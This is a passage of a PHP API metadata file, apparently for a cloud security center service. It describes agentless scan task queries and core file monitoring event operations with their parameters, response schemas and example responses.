], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55\\n },\\n \\"List\\": [\\n {\\n \\"TaskId\\": \\"1538****\\",\\n \\"TaskName\\": \\"AGENTLESS_SCAN\\",\\n \\"TargetType\\": 2,\\n \\"Status\\": 1,\\n \\"Progress\\": 60,\\n \\"StartTime\\": 1672741657897,\\n \\"EndTime\\": 1678895999999,\\n \\"Result\\": \\"True\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"TargetName\\": \\"hkdevt****\\",\\n \\"ProgressByProject\\": \\"\\\\\\"{\\\\\\\\\\\\\\"scaVul\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"binary\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"baseline\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"webshell\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"script\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"sensitiveInfo\\\\\\\\\\\\\\":100}\\\\\\"\\",\\n \\"ReportStatus\\": \\"SUCCESS\\",\\n \\"ReportDownloadUrl\\": \\"http://newsas-oss-bucket.oss-cn-hangzhou.aliyuncs.com/agent_less_single_report****\\",\\n \\"MeasureSpace\\": 154.11,\\n \\"InstanceId\\": \\"s-wz95vuqky0ada4******\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessTask', ], 'GetAgentlessTaskCount' => [ 'summary' => 'Queries the number of agentless detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '155838', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the type of the object being inspected. Valid values:'."\n" ."\n" .'* **3**: User Snapshot.'."\n" .'* **4**: User Image.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 's-m5edddcwq7d57d******', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'RiskMachine' => [ 'description' => 'The number of risky hosts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScanMachine' => [ 'description' => 'The number of hosts that are scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MaliciousFile' => [ 'description' => 'The number of malicious files.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Vulnerability' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'LastTaskTime' => [ 'description' => 'The timestamp generated when the last detection is performed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1682577532318', ], 'BaselineCheckCount' => [ 'description' => 'The number of baseline checks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScaVulCount' => [ 'description' => 'The number of application vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CveVulCount' => [ 'description' => 'The number of system vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SysVulCount' => [ 'description' => 'The total number of Windows system vulnerabilities.'."\n", 'type' => 'string', 'example' => '1', ], 'SensitiveFileCount' => [ 'description' => 'The total number of sensitive files.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"RiskMachine\\": 1,\\n \\"ScanMachine\\": 1,\\n \\"MaliciousFile\\": 1,\\n \\"Vulnerability\\": 1,\\n \\"LastTaskTime\\": 1682577532318,\\n \\"BaselineCheckCount\\": 1,\\n \\"ScaVulCount\\": 1,\\n \\"CveVulCount\\": 1,\\n \\"SysVulCount\\": \\"1\\",\\n \\"SensitiveFileCount\\": 1\\n}","type":"json"}]', 'title' => 'GetAgentlessTaskCount', ], 'ListAgentlessRiskUuid' => [ 'summary' => 'Queries at-risk hosts that are detected by the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '157335', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'default' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', 'default' => '20', ], ], [ 'name' => 'MachineName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oracle-win-001****', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the asset that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'The private IP address of the asset that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'TargetName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the detection object.'."\n", 'type' => 'string', 'required' => false, 'example' => 'source-test-obj-0****'."\n", ], ], [ 'name' => 'Risk', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether risks exist. Valid values:'."\n" ."\n" .'* **true**: Risks exist.'."\n" .'* **false**: Risks do not exist.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the type of the object being inspected. Valid values:'."\n" ."\n" .'* **1**: Host Snapshot.'."\n" .'* **2**: Host Image.'."\n" .'* **3**: User Snapshot.'."\n" .'* **4**: User Image.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 's-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The instance name of the asset.', 'type' => 'string', 'required' => false, 'example' => 'ca_cpm_****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '05AE6B16-741A-5A75-9BF0-BC747DD9****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], ], ], 'List' => [ 'description' => 'The information about the hosts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the hosts.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'VulCount' => [ 'description' => 'The number of detected vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MaliciousCount' => [ 'description' => 'The number of malicious samples.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BaselineCount' => [ 'description' => 'The number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TargetId' => [ 'description' => 'The ID of the asset that is detected.'."\n", 'type' => 'string', 'example' => '30****', ], 'TargetName' => [ 'description' => 'The name of the asset that is detected.'."\n", 'type' => 'string', 'example' => 'test****', ], 'ScanTime' => [ 'description' => 'The timestamp of the detection. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '168257753****', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.', 'type' => 'string', 'example' => 's-bp1g6wxdwps7s9dz****'."\n", ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"05AE6B16-741A-5A75-9BF0-BC747DD9****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"VulCount\\": 1,\\n \\"MaliciousCount\\": 1,\\n \\"BaselineCount\\": 1,\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"test****\\",\\n \\"ScanTime\\": 0,\\n \\"InstanceId\\": \\"s-bp1g6wxdwps7s9dz****\\\\n\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessRiskUuid', ], 'ListFileProtectPluginStatus' => [ 'summary' => 'Queries information about the Security Center agent installed on servers on which core file monitoring rules take effect. The information includes the installation status of the Security Center agent and whether the core file monitoring feature is supported.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '188949', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'SwitchId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the core file monitoring rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'maximum' => '100', 'minimum' => '1', 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'minimum' => '1', 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '60F289EC-BAA3-5DF1-8476-B3F05A14EBC2', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], ], ], 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Installed' => [ 'description' => 'Indicates whether the Security Center agent is installed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Online' => [ 'description' => 'Indicates whether the Security Center agent is online. Valid value:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'SupportFile' => [ 'description' => 'Indicates whether the core file monitoring file is supported.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'InstallCode' => [ 'description' => 'The returned code after you install the Security Center agent. Valid values:'."\n" ."\n" .'1. 0: The installation is successful.'."\n" .'2. \\-2: The kernel does not support the installation.'."\n", 'type' => 'string', 'example' => '-2', ], 'InstallMessage' => [ 'description' => 'The returned message after you install the Security Center agent.'."\n", 'type' => 'string', 'example' => 'driver file not exist', ], 'ClientVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '00_41', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'InternetIp' => [ 'description' => 'The public IP address that is associated with the instance.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address that is associated with the instance.'."\n", 'type' => 'string', 'example' => '10.42.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'example' => 'i-wz92q7m5hsbgfhdss***', ], 'Platform' => [ 'type' => 'string', 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'example' => 'linux', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"60F289EC-BAA3-5DF1-8476-B3F05A14EBC2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"Data\\": [\\n {\\n \\"Installed\\": true,\\n \\"Online\\": true,\\n \\"SupportFile\\": true,\\n \\"InstallCode\\": \\"-2\\",\\n \\"InstallMessage\\": \\"driver file not exist\\",\\n \\"ClientVersion\\": \\"00_41\\",\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListFileProtectPluginStatus', ], 'UpdateFileProtectEventStatus' => [ 'summary' => 'Modifies the status of core file monitoring events reported by the Security Center agent.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '189056', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '315', ], 'required' => false, 'maxItems' => 500, ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The handling status of the event. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: handled'."\n" .'* **2**: added to the whitelist'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'enum' => [ '0', '1', '2', '3', ], ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'tetsRule', ], ], [ 'name' => 'AlertLevels', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The severities of alerts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the alert. Valid values:'."\n" ."\n" .'1. high'."\n" .'2. medium'."\n" .'3. low'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => 'high', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '120.27.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1680919232000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649040221', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'Type of operation on a file. eg:'."\n" ."\n" .'- **DELETE**: delete the file.'."\n" .'- **WRITE**: write the file.'."\n" .'- **READ**: read the file.'."\n" .'- **RENAME**: rename the file.'."\n" .'- **CHOWN**: set the file owner and file association group operations.', 'type' => 'string', 'required' => false, 'example' => 'READ', ], ], [ 'name' => 'SelectAllAcrossPages', 'in' => 'query', 'schema' => [ 'description' => 'Whether to choose all fields across industries.'."\n" ."\n" .'- **true**: yes'."\n" .'- **false**: no', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\"\\n}","type":"json"}]', 'title' => 'UpdateFileProtectEventStatus', ], 'GetFileProtectDashboard' => [ 'summary' => 'Queries information about the core file monitoring feature, including the number of effective rules and the installation status of the Security Center agent on servers.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'EnableRuleCount' => [ 'description' => 'The total number of enabled rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'PluginCount' => [ 'description' => 'The total number of servers on which the Security Center agent is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'PluginOnlineCount' => [ 'description' => 'The total number of servers on which the Security Center agent is online.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'PluginOfflineCount' => [ 'description' => 'The total number of servers on which the Security Center agent is offline.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Data\\": {\\n \\"EnableRuleCount\\": 12,\\n \\"PluginCount\\": 12,\\n \\"PluginOnlineCount\\": 11,\\n \\"PluginOfflineCount\\": 1\\n }\\n}","type":"json"}]', 'title' => 'GetFileProtectDashboard', ], 'ListFileProtectEvent' => [ 'summary' => 'Queries core file monitoring rules that meet the specified filter condition.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '189052', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-rule-1', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the event. Valid values:'."\n" ."\n" .'* 0: unhandled'."\n" .'* 1: handled'."\n" .'* 2: added to the whitelist'."\n" .'* 3: ignored'."\n", 'type' => 'string', 'required' => false, 'example' => '2', 'enum' => [ '0', '1', '2', '3', ], ], ], [ 'name' => 'AlertLevels', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The severities of alerts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the alert. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'minimum' => '1', 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'string', 'required' => false, 'example' => '20', 'maxLength' => 100, 'minLength' => 1, ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1fu4aqltf1huhc****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'inet-ecs-4e876cb0-09f7-43b8-82ef-4bc7a937***', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ca_cpm_****', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '120.27.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the query.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683080489594', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the query.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683195595204', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'Type of operation on a file. eg:'."\n" ."\n" .'- **DELETE**: delete the file.'."\n" .'- **WRITE**: write the file.'."\n" .'- **READ**: read the file.'."\n" .'- **RENAME**: rename the file.'."\n" .'- **CHOWN**: set the file owner and file association group operations.', 'type' => 'string', 'required' => false, 'example' => 'READ', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The schema of response.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', ], 'EventList' => [ 'description' => 'The events.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'AlertLevel' => [ 'description' => 'The severity of the alert. Valid values:'."\n" ."\n" .'* 0: no alerts'."\n" .'* 1: reminder'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Uuid' => [ 'description' => 'The UUID of the server that is associated with the process.'."\n", 'type' => 'string', 'example' => '94b44720-d982-4d20-a4e1-80a1a57b5a8e', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-rule-1'."\n", ], 'LatestTime' => [ 'description' => 'The time when the event last occurred.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'Status' => [ 'description' => 'The status of the event. Valid values:'."\n" ."\n" .'* 0: unhandled'."\n" .'* 1: handled'."\n" .'* 2: added to the whitelist'."\n" .'* 3: ignored'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Id' => [ 'description' => 'The ID of the event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '161757', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'kyy-admin-01', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '121.40.211.194', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.22.5.36', ], 'FilePath' => [ 'description' => 'The path to the file that is managed by the process.'."\n", 'type' => 'string', 'example' => '/etc/pam.d/su', ], 'Operation' => [ 'description' => 'The operation performed by the process on the file.'."\n", 'type' => 'string', 'example' => 'DELETE', ], 'Remark' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'test', ], 'ProcPermission' => [ 'description' => 'The permissions required to start the process.'."\n", 'type' => 'string', 'example' => 'rwxr-xr-x', ], 'CmdLine' => [ 'description' => 'The command line of the event.'."\n", 'type' => 'string', 'example' => '["touch","/test/aaaa"]', ], 'ProcPath' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'example' => ' /usr/bin/sshpass', ], 'HandleTime' => [ 'description' => 'The time when the event was handled.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'ProcessId' => [ 'description' => 'The ID of the process.'."\n", 'type' => 'string', 'example' => '52636', ], 'Platform' => [ 'type' => 'string', 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'example' => 'linux', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries 